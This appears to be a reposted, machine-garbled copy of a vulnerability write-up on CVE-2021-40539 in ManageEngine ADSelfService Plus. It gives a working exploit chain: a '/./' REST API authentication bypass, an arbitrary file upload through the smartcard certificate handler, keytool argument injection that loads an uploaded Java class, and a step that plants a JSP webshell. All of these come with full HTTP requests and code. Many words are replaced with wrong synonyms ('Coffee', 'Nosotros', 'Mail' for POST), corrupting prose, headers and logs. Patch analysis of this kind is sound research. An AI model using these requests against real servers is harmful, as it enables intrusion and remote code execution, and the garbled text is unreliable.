Manageengine Multiple Products- Authenticated Arbitrary File Upload
First steps
ADSelfService Plus from ManageEngine was reported as exploited in the wild on the 8th of September1.The solution's editor quickly deployed a security gear up and released an commodity that has then been updated several times2. At the beginning ManageEngine squad was only mentioning an exploit related to the REST API. To figure out what was really happening, we deployed a vulnerable version and a patched version of the solution on a lab and nosotros started digging into this issue.
ADSelfService Plus is a massive Java application. However, a quick hash comparing betwixt both versions of the numerous included jars allows identifying the parts of the source code that inverse with the update. We can therefore decompile the interesting athenaeum and diff the resulting files. Nosotros used Meldiii for this concluding task as it conveniently compares files, folders and subfolders and highlights the differences.
Hallmark Featherbed
Nosotros know from the editor's original communication that we can gain unauthorized access through the Residual API. The previous diff showed that the com.manageengine.ads.fw.api.RestAPIUtil class, from the ManageEngineADSFrameworkJava jar, had inverse with the patch. It seems like a expert starting point for a patch analysis.
It appears that, after the patch, a call to request.getRequestURI(); was replaced by SecurityUtil.getNormalizedURI(request.getRequestURI()); (as seen in the Meld comparison above).
The code of the getNormalizedURI function is the post-obit:
This is clearly a patch that fixes a path traversal vulnerability, which can accept a serious impact. A like instance was a patch applied on Apache httpd at the same time5. In our current case the patch is addressed for an authentication bypass.
A nuclei template6, published near a week after the first informational, details how to test if your version is vulnerable. The test payload is:
Mail /./RestAPI/LogonCustomization HTTP/1.ane Host: {{Hostname}} Content-Type: application/10-www-class-urlencoded Content-Length: 27 methodToCall=previewMobLogo Sending the /./ payload to both our patched and vulnerable instances points differences in the servers' responses.
At this step, the response torso indicates that the path traversal request really bypasses the authentication process. Allow'southward see what nosotros can exercise while authenticated on the Rest API.
Arbitrary file upload through the API
The LogonCustomization class, located in the AdventNetADSMClient jar, implements the previewMobLogo method equally used in the Nuclei template'southward PoC.
public ActionForward previewMobLogo(ActionMapping mapping, ActionForm course, HttpServletRequest asking, HttpServletResponse response) { Other methods of this class including i named unspecified looks promising. Indeed, taking a quick look at it reveals interesting calls to file uploads related functions. Interestingly enough, ManageEngine'due south publication2 includes IOCs that states: "check for Java traceback errors that include references to NullPointerException in addSmartCardConfig or getSmartCardConfig". Also, the unspecified method's lawmaking looks for parameters related to smartcards.
public ActionForward unspecified(ActionMapping mapping, ActionForm grade, HttpServletRequest request, HttpServletResponse response) throws Exception { [...] try { [...] } else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) { // we are looking for smarcard related actions Cord functioning = request.getParameter("functioning"); SmartCardAction smartCardAction = new SmartCardAction(); if (performance.equalsIgnoreCase("Add")) { // and how to add together one request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH")); asking.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH")); smartCardAction.addSmartCardConfig(mapping, (ActionForm)dynForm, request, response); An analysis of the previous method makes it possible to determine the parameters necessary for a file upload on the server. This asking illustrates the upload of an arbitrary file in theManageEngine\ADSelfService Plus\bin folder.
POST /./RestAPI/LogonCustomization HTTP/1.i Host: 192.168.1.106:9251 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: Content-Blazon: application/ten-www-form-urlencoded Accept-Linguistic communication: en-The states,en;q=0.five Take-Encoding: gzip, deflate Upgrade-Insecure-Requests: one Content-Type: multipart/form-information; boundary=---------------------------39411536912265220004317003537 Te: trailers Connection: close Content-Length: 1212 -----------------------------39411536912265220004317003537 Content-Disposition: course-data; name="methodToCall" unspecified -----------------------------39411536912265220004317003537 Content-Disposition: grade-information; name="Save" yep -----------------------------39411536912265220004317003537 Content-Disposition: class-data; name="form" smartcard -----------------------------39411536912265220004317003537 Content-Disposition: form-data; proper noun="performance" Add together -----------------------------39411536912265220004317003537 Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="exam.txt" Content-Type: application/octet-stream arbitrary content -----------------------------39411536912265220004317003537-- A successful upload results in the server replying with a 404 response code.
HTTP/1.1 404 Not Found Content-Type: text/html;charset=UTF-8 Connection: close Content-Length: 135536 [...] We can nevertheless confirm the presence of the file in the directory.
By performing this request, we confirm some of ManageEngine's IOCs2: the 404 response and the presence of the errors in the logs. However, the logs from the NullPointerException are not the same every bit the i reported past ManageEngine.
[00:05:39:578]|[10-22-2021]|[SYSERR]|[INFO]|[79]: java.lang.ClassCastException: org.apache.catalina.connector.RequestFacade cannot be cast to com.adventnet.iam.security.SecurityRequestWrapper| [00:05:39:578]|[x-22-2021]|[SYSERR]|[INFO]|[79]: at com.adventnet.sym.adsm.common.webclient.util.ClientUtil.getFileFromRequest(ClientUtil.java:768)| [...] [00:05:39:685]|[x-22-2021]|[SYSERR]|[INFO]|[79]: java.lang.NullPointerException| [00:05:39:685]|[x-22-2021]|[SYSERR]|[INFO]|[79]: at com.adventnet.sym.adsm.common.server.util.UserUtil.getUserPersonal(UserUtil.java:1039)| [00:05:39:685]|[10-22-2021]|[SYSERR]|[INFO]|[79]: at com.adventnet.sym.adsm.mutual.server.util.UserUtil.getUserPersonal(UserUtil.coffee:grand)| At this bespeak, information technology is possible to upload whatever kind of file with arbitrary content into the ManageEngine\ADSelfService Plus\bin directory.
Arguments injection
While updates of the ManageEngine documentation requite more details most this issue7, the exploitation of the /RestAPI/Connection endpoint is still missing at this stage.
The com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction class seems to exist related to this API endpoint. A quick wait into it showed up the following method:
public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest asking, HttpServletResponse response) throws Exception { String action = request.getParameter("action"); if (activity != nil && activity.equals("generateCSR")) SSLUtil.createCSR(request); return actionMap.findForward("SSLTool"); } The openSSLTool method takes an action HTTP parameter and will telephone call SSLUtil.createCSR if it equals generateCSR. Past digging into the source code of this method, nosotros tin can observe 2 unsanitized parameters, keysize and validity, that are used to build the parameter of a runCommand call:
public static JSONObject createCSR(JSONObject sslSettings) throws Exception { [...] StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -genkey -allonym tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "); // the control is prepared keyCmd.append(countersign); keyCmd.append(" -storePass ").suspend(password); String keyLength = sslSettings.optString("KEY_LENGTH", null); if (keyLength != null && !keyLength.equals("")) keyCmd.append(" -keysize ").append(keyLength); // first parameter String validity = sslSettings.optString("VALIDITY", aught); if (validity != zero && !validity.equals("")) keyCmd.append(" -validity ").append(validity); // second parameter [...] JSONObject jStatus = new JSONObject(); Cord status = runCommand(keyCmd.toString()); // command is executed here [...] Past post-obit that call we end into the runRuntimeExec method (in theAdventNetADSMServer jar):
public void runRuntimeExec() { if (this.command == null) { if (this.proc == cipher) return; getStdErr(); } else { Process p = cipher; String line = zero; try { p = Runtime.getRuntime().exec(this.control); } catch (Exception e) { systemerr("The control could not exist executed"); this.result = fake; } boolean isPingCmd = (this.command.indexOf("RemCom") != -1); this.outcome = runCommandStatus(p, isPingCmd); } } Overall, it appears we tin inject into a command line that launches the keytool exe. Even so, the utilise of Runtime.getRuntime().exec() prevents escaping from the expected target binary. Fortunately for united states, we are still able to inject arbitrary parameters. One feature of keytool is to be able to load a Java class8. If we can build our ain Java class, upload it with an API call to LogonCustomization, we could and then apply it withkeytool in order to get information technology executed.
A bit of dynamic assay with Procmon and a query to the /RestAPI/Connection endpoint can confirm the execution of the keytool binary.
POST /./RestAPI/Connection HTTP/1.ane Host: 192.168.1.105:9251 User-Amanuensis: Mozilla/five.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Take: Content-Type: awarding/x-world wide web-form-urlencoded Accept-Language: en-United states of america,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: one Content-Type: application/x-www-form-urlencoded Te: trailers Connection: close Content-Length: 43 methodToCall=openSSLTool&action=generateCSR
The executed command is the post-obit:
..\jre\bin\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "null" -storePass "null" -dName "CN=null, OU= null, O=zero, L=null, Due south=cipher, C=null" -keystore ..\jre\bin\SelfService.keystore Chaining everything together to get code execution
We saw we can bypass the authentication process by calculation the /./ snippet to the Residuum API road and perform an arbitrary file upload. Nosotros also saw that an capricious Coffee course can exist loaded through an injection in the keytool binary parameters. Combining both issues, we should be able to get an arbitrary code execution.
The post-obit Java lawmaking, which executes calc.exe, will exist used as a proof of concept.
import java.io.*; public class Si{ static{ endeavour{ Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("calc"); }grab (IOException e){} } } An of import annotation for a successful exploitation is that nosotros need to compile our code with the aforementioned Java major version8 every bit the solution.
C:\ManageEngine\ADSelfService Plus\jre\bin> java -version java version "ane.8.0_162" Coffee(TM) SE Runtime Surroundings (build i.8.0_162-b12) Coffee HotSpot(TM) 64-Chip Server VM (build 25.162-b12, mixed mode) C:\> javac Si.coffee One time properly compiled, our PoC class can be uploaded to the server using the LogonCustomization endpoint, as previously:
POST /./RestAPI/LogonCustomization HTTP/1.1 Host: 192.168.1.105:9251 Content-Length: 989 Content-Type: multipart/class-data; boundary=fcc62d4b058687f46994b5245a8c8e9f User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 --fcc62d4b058687f46994b5245a8c8e9f Content-Disposition: form-data; proper name="methodToCall" unspecified --fcc62d4b058687f46994b5245a8c8e9f Content-Disposition: form-data; name="Salve" yes --fcc62d4b058687f46994b5245a8c8e9f Content-Disposition: course-data; proper noun="course" smartcard --fcc62d4b058687f46994b5245a8c8e9f Content-Disposition: form-data; name="operation" Add --fcc62d4b058687f46994b5245a8c8e9f Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="ws.jsp" seven StackMapTableLineNumberTabl<clinit> SourceFileSi.java calc ava/io/IOExceptionSijava/lang/Objectjava/lang/Runtime getRuntime()Ljava/lang/Runtime;exec'(Ljava/lang/String;)Ljava/lang/Process;! * IK*LK N --fcc62d4b058687f46994b5245a8c8e9f-- All that's left is to force the loading of our newly uploaded grade through the keytool.exe argument injection.
Postal service /./RestAPI/Connection HTTP/1.1 Host: 192.168.1.105:9251 User-Amanuensis: Mozilla/five.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: Content-Type: application/ten-www-form-urlencoded Accept-Linguistic communication: en-U.s.,en;q=0.five Take-Encoding: gzip, debunk Upgrade-Insecure-Requests: 1 Content-Type: awarding/x-www-form-urlencoded Te: trailers Connection: close Content-Length: 132 methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"
For a piddling more confort, it is too possible to exploit the file upload to write a JSP webshell on the filesystem. It tin then be moved into the webroot with the Coffee code execution.
import java.io.*; public class Si{ static{ try{ Runtime rt = Runtime.getRuntime(); Procedure proc = rt.exec(new Cord[] {"cmd", "/c", "re-create", "helloworld.jsp", "..\\webapps\\adssp\\help\\admin-guide\\helloworld.jsp"}); }catch (IOException e){} } } Later triggering the command execution with keytool, our uploaded webshell is available at http(s)://TARGET/help/admin-guide/helloworld.jsp.
An exploitation code has been released on our GitHub.
Conclusion
None of the public analysis of this vulnerability mentions a Java class upload. The CISA report also mentions that "Subsequent requests are then made to dissimilar API endpoints to farther exploit the victim's organisation." which is not the case here. Chances are in-the-wild attackers made apply of another exploitation path. Anyway, the patch applied by ManageEngine only fixes the path traversal result. While really preventing our exploitation, this leaves opened the file upload and parameter injection problems for time to come use.
Source: https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html
Post a Comment for "Manageengine Multiple Products- Authenticated Arbitrary File Upload"